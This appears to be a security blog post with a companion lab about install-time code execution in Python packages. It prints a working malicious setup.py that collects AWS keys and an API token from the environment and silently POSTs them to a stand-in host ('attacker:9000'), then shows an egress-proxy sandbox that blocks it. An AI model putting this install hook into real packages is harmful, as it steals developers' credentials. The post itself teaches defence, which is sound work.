~/tech-with-ugur

Your Package Manager Runs Code at Install Time: a sandbox that catches the credential grab

2026-08-17 cybersecurity

Run the companion lab

There is a sentence developers say to themselves that an attacker is counting on: “I only installed it, I didn’t run it.” For a Python package, that sentence is false. A source distribution runs its setup.py the moment you pip install it — arbitrary code, executing with your environment, before you import anything or call a single function. If that code reads your cloud credentials and posts them out, the theft is already done by the time the install finishes.

This wasn’t hypothetical this month. In a single fortnight, install-time theft hit every ecosystem at once. Two malicious LiteLLM releases on PyPI harvested cloud keys, SSH credentials, and database passwords from a potential 2,100+ organizations. A separate campaign pushed nearly 800 typosquatted npm packages carrying a cross-platform RAT and infostealer. Weaponized “Solidity Pro” VS Code extensions drained wallets and API keys. The mechanism underneath all three is the same: code that runs at install or activation time, before any human reviews a runtime call — and most developers pip install straight onto their laptop.

That mechanism is also exactly what a sandbox can contain. This lab builds the whole thing end to end: a benign-looking package that steals on install, the leak firing on a plain pip install, and then a laptop-sized sandbox — a disposable container behind an egress-logging, default-deny proxy — that lets the same install succeed while blocking the credential grab and naming the host it tried to reach. Everything runs locally in Docker; nothing touches the real internet, and the only secrets in play are obviously fake. Every code block below is copied verbatim from the lab; you can clone it and reproduce every line of output.

A package that steals on install

Here is the package’s runtime surface — the part a reviewer who reads the “actual code” would look at. It greets people. It touches nothing.

labs/lab-supply-chain-egress-sandbox/malicious-pkg/friendly/__init__.py:

"""A friendly little package. Greets people. Nothing more — at runtime."""


def greet(name):
    return f"Hello, {name}!"

The theft is not in the module. It is in the packaging. When pip builds a source distribution, it executes setup.py to learn the package’s metadata and build a wheel — and any top-level code in setup.py runs right then. Here is the top of the lab’s setup.py: the sink it targets, the credentials it looks for, and the two small functions that assemble the payload.

labs/lab-supply-chain-egress-sandbox/malicious-pkg/setup.py:

"""friendly — packaging.

    LAB-ONLY TEACHING ARTIFACT. DO NOT REUSE.

The block below runs at BUILD/INSTALL time, before anyone imports this
package. It reads seeded, obviously-fake credentials from the environment
and POSTs them to a HARDCODED LOCAL sink ("attacker") that only resolves on
this lab's docker network. It has no effect outside the lab: it can reach no
real host and can read no real secret. Its only purpose is to demonstrate
that `pip install` executes code.
"""

import json
import os
import urllib.request

from setuptools import find_packages, setup

SINK_URL = "http://attacker:9000/collect"
CRED_KEYS = ("AWS_ACCESS_KEY_ID", "AWS_SECRET_ACCESS_KEY", "LAB_API_TOKEN")


def collect_creds(env):
    """Return only the present, named fake credentials from `env`."""
    return {k: env[k] for k in CRED_KEYS if env.get(k)}


def build_payload(env):
    """The exfil body, or None when there is nothing to steal."""
    creds = collect_creds(env)
    if not creds:
        return None
    return {
        "source": "friendly-setup",
        "tag": env.get("EXFIL_TAG", "untagged"),
        "creds": creds,
    }

And here is the rest of the same file — the part that reaches out, and the line that makes it run.

labs/lab-supply-chain-egress-sandbox/malicious-pkg/setup.py:

def _phone_home(env):
    payload = build_payload(env)
    if payload is None:
        return
    data = json.dumps(payload).encode()
    req = urllib.request.Request(
        SINK_URL, data=data, headers={"Content-Type": "application/json"}
    )
    # urllib honours HTTP_PROXY from the environment automatically.
    urllib.request.urlopen(req, timeout=5)


# Fire at import time — the classic supply-chain trigger. A real installer
# stays quiet on failure so the install still succeeds; so do we. The
# _DEMO_IMPORT_ONLY guard lets the unit tests import these helpers without
# any network attempt.
if not os.environ.get("_DEMO_IMPORT_ONLY"):
    try:
        _phone_home(os.environ)
    except Exception:
        pass

    setup(
        name="friendly",
        version="1.0.0",
        packages=find_packages(),
    )

Two details make this a faithful model of the real thing rather than a caricature. First, _phone_home is wrapped in a bare try/except: real install-time malware swallows its own errors so the install still completes and nothing looks wrong. That “stay quiet on failure” property is exactly what will let the sandbox block the leak without breaking the install. Second, note the one thing this vector needs — an sdist. A wheel is a zip of files that pip unpacks; it does not execute code at install time. Install-time execution is a setup.py (sdist) behavior. That’s a real defensive lever on its own: prefer wheels. But plenty of packages still ship and build from sdists, so the channel is live.

Watching it leave on a plain install

The installer container does the most ordinary thing in the world: it runs pip install and then imports the package to confirm it “works.”

labs/lab-supply-chain-egress-sandbox/installer/install.py:

print(f"[{LABEL}] pip install {URL}", flush=True)
pip_rc = subprocess.run(
    [
        sys.executable, "-m", "pip", "install",
        "--no-index", "--no-build-isolation", URL,
    ]
).returncode
print(f"[{LABEL}] pip exit={pip_rc}", flush=True)

Run this on an open network — the container can reach both the package mirror and the attacker’s sink — and the sink records the theft:

{"source": "friendly-setup", "tag": "host-install", "creds": {"AWS_ACCESS_KEY_ID": "AKIAFAKE000LABONLY", "AWS_SECRET_ACCESS_KEY": "FAKE-lab-only-not-a-real-secret", "LAB_API_TOKEN": "lab-token-FAKE-000"}}

The install itself succeeded, and import friendly works fine. From the developer’s chair, absolutely nothing happened. From the attacker’s chair, three credentials just arrived.

One implementation detail is worth calling out, because it surprises people the first time they watch the sink: pip builds an sdist by invoking setup.py more than once — once to read metadata, again to build the wheel — so on a single install the hook fires more than once, and you’ll see more than one POST land. That’s not a bug in the demo; it’s how the legacy build path works. It’s also why the lab’s checks key on whether a tagged leak arrived, never on counting them.

The sandbox: a container whose only way out is watched

Now the same install, contained. The recipe has three parts: a disposable container, an egress proxy that logs and allow-lists, and — the load-bearing piece — a network with no other way out.

The proxy is about a hundred lines of standard library. Because every hop in this lab is plain HTTP, it only ever sees absolute-URI requests, so it can be a plain forwarder with an allow-list rather than a TLS-terminating appliance. Here is its whole decision, per request:

labs/lab-supply-chain-egress-sandbox/proxy/proxy.py:

    def _dispatch(self, method):
        host, port, tail = parse_target(self.path)
        if not is_allowed(host, ALLOW):
            _log(f"DENY {method} host={host} port={port}")
            self.send_response(403)
            self.end_headers()
            self.wfile.write(b"blocked by egress sandbox\n")
            return
        _log(f"ALLOW {method} host={host} port={port}")
        length = int(self.headers.get("Content-Length", 0))
        body = self.rfile.read(length) if length else None
        req = urllib.request.Request(
            f"http://{host}:{port}{tail}", data=body, method=method
        )
        # ... forward the request and stream the response back

ALLOW comes from an environment variable and holds exactly one host in this lab — the package mirror. Everything else is a DENY with a 403 and a log line naming the host. That is the entire policy: default-deny, allow-list the package source, and record every decision.

But a proxy you can route around is not a control. The real guarantee is the network topology. The safe installer is attached to one network only — an internal docker network with no route to the outside — and the proxy is the single host that bridges it to the outside world.

labs/lab-supply-chain-egress-sandbox/docker-compose.yml:

  installer-safe:
    build: ./installer
    profiles: [runners]
    environment:
      RUN_LABEL: sandboxed-install
      EXFIL_TAG: sandboxed-install
      HTTP_PROXY: http://proxy:8080
      HTTPS_PROXY: http://proxy:8080
      AWS_ACCESS_KEY_ID: AKIAFAKE000LABONLY
      AWS_SECRET_ACCESS_KEY: FAKE-lab-only-not-a-real-secret
      LAB_API_TOKEN: lab-token-FAKE-000
    volumes:
      - evidence:/evidence
    networks: [sandboxed]

# ...

networks:
  lab_net:
  sandboxed:
    internal: true

The internal: true line is the whole point. installer-safe sits on sandboxed and nothing else; the attacker’s sink lives on the other network. There is genuinely no route from the installer to the attacker except through the proxy — so even malware that ignored HTTP_PROXY entirely would find no path out. The proxy is not the wall; the network is. The proxy is there to let the legitimate download through and to name what the wall stopped.

Setting HTTP_PROXY in the installer’s environment is what lets the honest traffic — pip fetching the package from the mirror — flow through the one open door. And, conveniently for the demo, the malware’s own urllib.urlopen respects that same variable, so the exfiltration attempt walks straight up to the proxy and gets a 403 with its name written down.

Same install, contained

Run the install inside the sandbox and the proxy log tells the story:

proxy: ALLOW GET host=mirror port=8000
proxy: DENY POST host=attacker port=9000
proxy: DENY POST host=attacker port=9000

The package download to mirror was allowed; the exfil POSTs to attacker — two of them, the double-fire from earlier — were blocked and attributed. And crucially, the install still succeeded: because setup.py swallows the failed POST, pip never noticed, built the wheel, and installed the package. The developer gets a working friendly; the attacker gets a 403.

The lab doesn’t ask you to take that on faith. A small pytest suite reads the evidence both containers left behind and asserts the outcome:

labs/lab-supply-chain-egress-sandbox/harness/test_sandbox.py:

def test_safe_exfil_was_blocked_and_attributed():
    log = _read(PROXY)
    denies = [ln for ln in log.splitlines() if ln.startswith("DENY")]
    assert denies, "proxy recorded no DENY"
    assert any("host=attacker" in ln for ln in denies), "exfil host not attributed"


def test_safe_exfil_never_reached_the_sink():
    log = _read(ATTACKER)
    assert "sandboxed-install" not in log, "sandboxed exfil should never arrive"

The two runs carry different tags — host-install and sandboxed-install — so the second assertion is deterministic: the attacker’s log may hold several receipts from the open-network run, but a sandboxed-install receipt would mean the sandbox leaked, and there is never one. A companion assertion confirms both installs actually finished with a usable package, so “contained” never quietly means “broke the install.” The full run is a single make test; the steps are in the lab README.

Turning this into a habit

The lab is a teaching rig, but the recipe compresses into a few durable rules you can apply to real dependency installs:

Two honest limits. This is containment and observation, not attribution of intent — the sandbox tells you an install tried to reach a host it had no business reaching, and leaves the policy call to you. And a plain-HTTP allow-list is the teaching-sized version; a real setup terminates TLS (with a tool like mitmproxy) so it can see and gate HTTPS egress too. But the core discipline survives every escalation: install untrusted code where it can neither read your secrets nor reach the network unwatched.